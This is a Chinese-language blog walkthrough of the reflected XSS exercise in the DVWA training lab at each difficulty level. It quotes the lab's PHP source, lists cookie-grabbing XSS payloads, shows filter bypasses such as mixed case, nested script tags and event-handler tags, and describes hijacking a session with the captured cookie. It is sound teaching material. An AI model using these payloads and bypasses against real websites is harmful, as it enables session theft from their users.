Loading

DVWA(六):XSS-Reflected 反射型XSS全等级详解

XSS 概念:

由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS类型:

Reflected(反射型):只是简单的把用户输入的数据反射给浏览器,需要诱导用户点击一个恶意链接才能攻击成功。

存储型:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本

DOM型:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,取决于输出地点

(关于DOM节点,DOM为Document Obeject Mode首字母缩写,翻译为文档对象模型,在网页中所有对象和内容都被称为节点,如文档、元素、文本、属性、注释等,节点是DOM最基本的单元

并派生出不同类型的节点,他们共同构成了文档的树形结构模式)

 

XSS应用场景:1.利用xss获得cookie,2.重定向,3.钓鱼网站,4.DDOS

记录一些一般的payload:(这里看不懂可以先看下面的示例,看完返回来看这里就会明白一些了)

1.<script>alert(document.cookie)</script>

2.<body onload=alert(document.cookie')>

3.<a href='' onclick=alert(document.cookie)>click1</a>    #点击click1时弹出cookie值

4.<img src=http://192.168.10.128/a.jpg onerror=alert(document.cookie)>  #src地址错误,然后执行onerror的内容

Low级别:

观察源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

源码没有对参数做任何防御处理措施

下面给一些基本的XSS攻击

1.<script>alert(‘xss’)</script>

2.<body onload=alert('xss2')>

3.<a href='' onclick=alert('xss3')>click1</a>    #点击click1时弹出xss3

4.<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容

例如我们这里输入:

 

<script>alert("xss")</script>

 

 

 

 构造获取cookie的payload:

<script>alert(document.cookie)</script>

 

 

 然后Logout 用这段cookie值进行登录即可以被攻击者的身份访问此网站(在未关闭浏览器前)

 

 

Medium

观察源码:

 

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

 

对于script标签进行了过滤,下面提供几个绕过的方法

1.<sCriPt></SCriPt>大小写分开

2.<scr<script>ipt> 类似于SQL注入中的双写

3.用别的标签替换 :

 

 

 同样也可以获得cookie 之后就可以通过cookie以被攻击者的身份访问此网站

 

 

 High

观察源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码

执行:<body onload=alert('document.cookie')>

 

 

 Impossible

观察源码:

使用了htmlspecailchars函数做了html实体转义,无法利用XSS

 

 

 

 

 

 

 

 

参考文章:DVWA XSS详解

posted @ 2020-03-14 22:23  Zh1z3ven  阅读(1060)  评论(0编辑  收藏  举报